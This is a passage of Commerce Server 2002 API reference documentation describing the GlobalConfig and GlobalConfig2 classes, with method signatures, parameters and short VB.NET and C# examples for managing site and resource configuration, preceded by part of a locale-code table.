en-IE | English - Ireland | 0x1809 | ENI
en-JM | English - Jamaica | 0x2009 | ENJ
en-NZ | English - New Zealand | 0x1409 | ENZ
en-PH | English - Philippines | 0x3409 |
en-ZA | English - South Africa | 0x1C09 | ENS
en-TT | English - Trinidad and Tobago | 0x2C09 | ENT
en-GB | English - United Kingdom | 0x0809 | ENG
en-US | English - United States | 0x0409 | ENU
en-ZW | English - Zimbabwe | 0x3009 |
et-EE | Estonian - Estonia | 0x0425 | ETI
fo-FO | Faroese - Faroe Islands | 0x0438 | FOS
fa-IR | Farsi - Iran | 0x0429 | FAR
fi-FI | Finnish - Finland | 0x040B | FIN
fr-BE | French - Belgium | 0x080C | FRB
fr-CA | French - Canada | 0x0C0C | FRC
fr-FR | French - France | 0x040C |
fr-LU | French - Luxembourg | 0x140C | FRL
fr-MC | French - Monaco | 0x180C |
fr-CH | French - Switzerland | 0x100C | FRS
gl-ES | Galician - Galician | 0x0456 |
ka-GE | Georgian - Georgia | 0x0437 |
de-AT | German - Austria | 0x0C07 | DEA
de-DE | German - Germany | 0x0407 |
de-LI | German - Liechtenstein | 0x1407 | DEC
de-LU | German - Luxembourg | 0x1007 | DEL
de-CH | German - Switzerland | 0x0807 | DES
el-GR | Greek - Greece | 0x0408 | ELL
gu-IN | Gujarati - India | 0x0447 |
he-IL | Hebrew - Israel | 0x040D | HEB
hi-IN | Hindi - India | 0x0439 | HIN
hu-HU | Hungarian - Hungary | 0x040E | HUN
is-IS | Icelandic - Iceland | 0x040F | ISL
id-ID | Indonesian - Indonesia | 0x0421 |
it-IT | Italian - Italy | 0x0410 |
it-CH | Italian - Switzerland | 0x0810 | ITS
ja-JP | Japanese - Japan | 0x0411 | JPN
kn-IN | Kannada - India | 0x044B |
kk-KZ | Kazakh - Kazakhstan | 0x043F |
kok-IN | Konkani - India | 0x0457 |
ko-KR | Korean - Korea | 0x0412 | KOR
ky-KZ | Kyrgyz - Kazakhstan | 0x0440 |
lv-LV | Latvian - Latvia | 0x0426 | LVI
lt-LT | Lithuanian - Lithuania | 0x0427 | LTH
mk-MK | Macedonian - FYROM | 0x042F | MKD
ms-BN | Malay - Brunei | 0x083E |
ms-MY | Malay - Malaysia | 0x043E |
mr-IN | Marathi - India | 0x044E |
mn-MN | Mongolian - Mongolia | 0x0450 |
nb-NO | Norwegian (Bokmål) - Norway | 0x0414 |
nn-NO | Norwegian (Nynorsk) - Norway | 0x0814 |
pl-PL | Polish - Poland | 0x0415 | PLK
pt-BR | Portuguese - Brazil | 0x0416 | PTB
pt-PT | Portuguese - Portugal | 0x0816 |
pa-IN | Punjabi - India | 0x0446 |
ro-RO | Romanian - Romania | 0x0418 | ROM
ru-RU | Russian - Russia | 0x0419 | RUS
sa-IN | Sanskrit - India | 0x044F |
Cy-sr-SP | Serbian (Cyrillic) - Serbia | 0x0C1A |
Lt-sr-SP | Serbian (Latin) - Serbia | 0x081A |
sk-SK | Slovak - Slovakia | 0x041B | SKY
sl-SI | Slovenian - Slovenia | 0x0424 | SLV
es-AR | Spanish - Argentina | 0x2C0A | ESS
es-BO | Spanish - Bolivia | 0x400A | ESB
es-CL | Spanish - Chile | 0x340A | ESL
es-CO | Spanish - Colombia | 0x240A | ESO
es-CR | Spanish - Costa Rica | 0x140A | ESC
es-DO | Spanish - Dominican Republic | 0x1C0A | ESD
es-EC | Spanish - Ecuador | 0x300A | ESF
es-SV | Spanish - El Salvador | 0x440A | ESE
es-GT | Spanish - Guatemala | 0x100A | ESG
es-HN | Spanish - Honduras | 0x480A | ESH
es-MX | Spanish - Mexico | 0x080A | ESM
es-NI | Spanish - Nicaragua | 0x4C0A | ESI
es-PA | Spanish - Panama | 0x180A | ESA
es-PY | Spanish - Paraguay | 0x3C0A | ESZ
es-PE | Spanish - Peru | 0x280A | ESR
es-PR | Spanish - Puerto Rico | 0x500A | ES
es-ES | Spanish - Spain | 0x0C0A |
es-UY | Spanish - Uruguay | 0x380A | ESY
es-VE | Spanish - Venezuela | 0x200A | ESV
sw-KE | Swahili - Kenya | 0x0441 |
sv-FI | Swedish - Finland | 0x081D | SVF
sv-SE | Swedish - Sweden | 0x041D |
syr-SY | Syriac - Syria | 0x045A |
ta-IN | Tamil - India | 0x0449 |
tt-RU | Tatar - Russia | 0x0444 |
te-IN | Telugu - India | 0x044A |
th-TH | Thai - Thailand | 0x041E | THA
tr-TR | Turkish - Turkey | 0x041F | TRK
uk-UA | Ukrainian - Ukraine | 0x0422 | UKR
ur-PK | Urdu - Pakistan | 0x0420 | URD
Cy-uz-UZ | Uzbek (Cyrillic) - Uzbekistan | 0x0843 |
Lt-uz-UZ | Uzbek (Latin) - Uzbekistan | 0x0443 |
vi-VN | Vietnamese - Vietnam | 0x042A | VIT


GlobalConfig Class (PIA)

Use this object to accomplish the following:

  • Create or delete resource configuration information.
  • Save any updated global configuration information to the Administration database.
  • Add a site.
You can add your own custom resources to use the GlobalConfig object to access configuration settings from the Administration database.

Note

  • In Microsoft Internet Information Services (IIS) 6.0, objects are created in the configured application pool for the site, and you can configure each application pool to run as a different user. In order for Commerce Server Config objects to work with IIS 6.0, you must add the application pool user name to COM+. By default, the default application pool runs as "Network Service", with the local user account name being SERVICE.

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns group-level configuration data. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

Integrating Custom Resources

Configuration Objects

SiteConfig Class

SiteConfigReadOnly Class


GlobalConfig Methods (PIA)

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the Administration data store.


GlobalConfig.CreateServiceConfig Method (PIA)

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site Recordset. This method calls the SaveConfig method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub CreateServiceConfig(
  bstrResourceName As String,
  bstrConfigSchemaClass As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void CreateServiceConfig(
  string bstrResourceName,
  string bstrConfigSchemaClass
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A String that contains the resource configuration schema class name.
[C#]
bstrResourceName
A string that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A string that contains the resource configuration schema class name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_DataWarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles
[Visual Basic .NET]

Example

' sMyPredictor is a String denoting the new resource name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.DeleteServiceConfig


GlobalConfig.CreateSiteConfig Method (PIA)

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager. The correct ACLs are set on the entries in the Internet Information Services (IIS) metabase by Commerce Server Site Packager, to ensure that the Admin objects can only be operated on by site administrators.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function CreateSiteConfig(
  bstrSiteName As String
) As ISiteConfig
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public ISiteConfig CreateSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the new site name.
[C#]
bstrSiteName
A string that contains the new site name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that implements the ISiteConfig interface that contains the site configuration settings.

[C#] This method returns a Microsoft.CommerceServer.Interop.Configuration.ISiteConfig interface for a SiteConfig object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyNewSite is a string; oGlobalConfig is a Commerce GlobalConfig object
' oMSCSSiteConfig is a Commerce SiteConfig object
oMSCSSiteConfig = oGlobalConfig.CreateSiteConfig(sMyNewSite)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.DeleteSiteConfig


GlobalConfig.DeleteServiceConfig Method (PIA)

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteServiceConfig(
  bstrResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteServiceConfig(
  string bstrResourceName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the name of the resource configuration object to be deleted.
[C#]
bstrResourceName
A string that contains the name of the resource configuration to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteServiceConfig (sMyPredictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.CreateServiceConfig


GlobalConfig.DeleteSiteConfig Method (PIA)

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteSiteConfig(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMySiteName is an existing site name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteSiteConfig(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class

GlobalConfig.CreateServiceConfig


GlobalConfig.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array object. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array object, then a System.Array object is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oGlobalConfig is a Commerce GlobalConfig object
oObject = oGlobalConfig.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.GetResourcePropAttrib Method (PIA)

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;             //For IDictionary
…
public IDictionary GetResourcePropAttrib(
  string strResourceName,
  string strPropName
);

Parameters

[Visual Basic .NET]
strResourceName
A String that contains the resource name.
strPropName
A String that contains the resource property name.
[C#]
strResourceName
A string that contains the resource name.
strPropName
A string that contains the resource property name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an Object that implements the IDictionary interface containing the key/value pairs that denote the attributes of the specified property of the specified resource.

[C#] This method returns an IDictionary interface to a Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig is a Commerce GlobalConfig object
dDict = _
oGlobalConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.Initialize Method (PIA)

Use this method to load the global configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  Optional bstrResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void Initialize(
  string bstrResourceName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String reserved for future use. This method ignores the value placed in this parameter.
[C#]
bstrGroupName
A string reserved for future use. This method ignores the value placed in this parameter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeArrayFromSimpleList Method (PIA)

Use this method to convert the specified SimpleList object into a System.Array object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
An object reference to the SimpleList that you want to convert into a System.Array object.
[C#]
list
A SimpleList object that you want to convert into a System.Array object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array object.

[C#] This method returns the converted System.Array object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
oMyObject = oGlobalConfig.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array object. If the encoded string does not indicate System.Array object properties, then the method returns the original string that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

This method returns an object containing the converted System.Array object or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Objects or System.Arrays as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string read from the Fields
' property
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig object
oArray = oGlobalConfig.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array object into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array object to convert.
[C#]
varArray
An object that contains the System.Array object to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' pMyArray is an Object
' varMySimpleList is a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
varMySimpleList = oGlobalConfig.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded String, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array object to encode.
[C#]
varArray
An object that contains the System.Array object to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded String.

[C#] This method returns an object containing the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Objects or System.Arrays as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded String format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig object
oEncoded = oGlobalConfig.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded String, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded String.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Objects, System.Arrays, or SimpleLists as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded String format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
vEncoded = oGlobalConfig.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig.SaveConfig Method (PIA)

Use this method to save the global configuration settings to the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub SaveConfig()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void SaveConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)


GlobalConfig.Sites Method (PIA)

Use this method to retrieve a list of all the sites available in the Administration database. This method returns an Object that implements the _Recordset interface that contains a single record; the number of fields in the Fields collection is equal to the number of sites in the Microsoft Commerce Server 2002 installation. Each Fields collection contains the name of one of the sites.

Definition (PIA)

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib    ‘ for _Recordset
…
Public Function Sites() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For _Recordset
…
public _Recordset Sites();

Return Values (PIA)

[Visual Basic .NET] If this method completes successfully, it returns an Object that implements the _Recordset interface that contains a list of all the sites available in the Administration data store.

[C#] This method returns an object that implements the ADODB26Lib._Recordset interface to a Recordset containing a list of all sites available in the Administration data store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)


GlobalConfig Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns group-level configuration data. This property is read-only.


GlobalConfig.Fields Property (PIA)

[Visual Basic .NET] The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is a Fields collection.

[C#] The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADODB26Lib.Fields object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For Fields
…
public Fields Fields {get; }

Property Value

This property returns a collection of ADODB26Lib.Fields objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

GlobalConfig Class


GlobalConfig2 Class (PIA)

Use this object to accomplish the following:

  • Create or delete resource configuration information.
  • Save updated global configuration information to the Administration database.
  • Add a site.

    You can add your own custom resources to use this object to access configuration settings from the Administration database.

Note

  • In Microsoft Internet Information Services (IIS) 6.0, objects are created in the configured application pool for the site, and you can configure each application pool to run as a different user. In order for Commerce Server Config objects to work with IIS6, you must add the application pool user name to COM+. By default, the default application pool runs as "Network Service", with the local user account name being SERVICE.

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array .
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the Administration data store.

Properties

Property | Type | Description
Fields | Object | Returns group-level configuration data. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)


GlobalConfig2 Methods (PIA)

Methods

Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the Administration data store.


GlobalConfig2.CreateServiceConfig Method (PIA)

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site recordset. This method calls the SaveConfig method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub CreateServiceConfig(
  bstrResourceName As String,
  bstrConfigSchemaClass As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
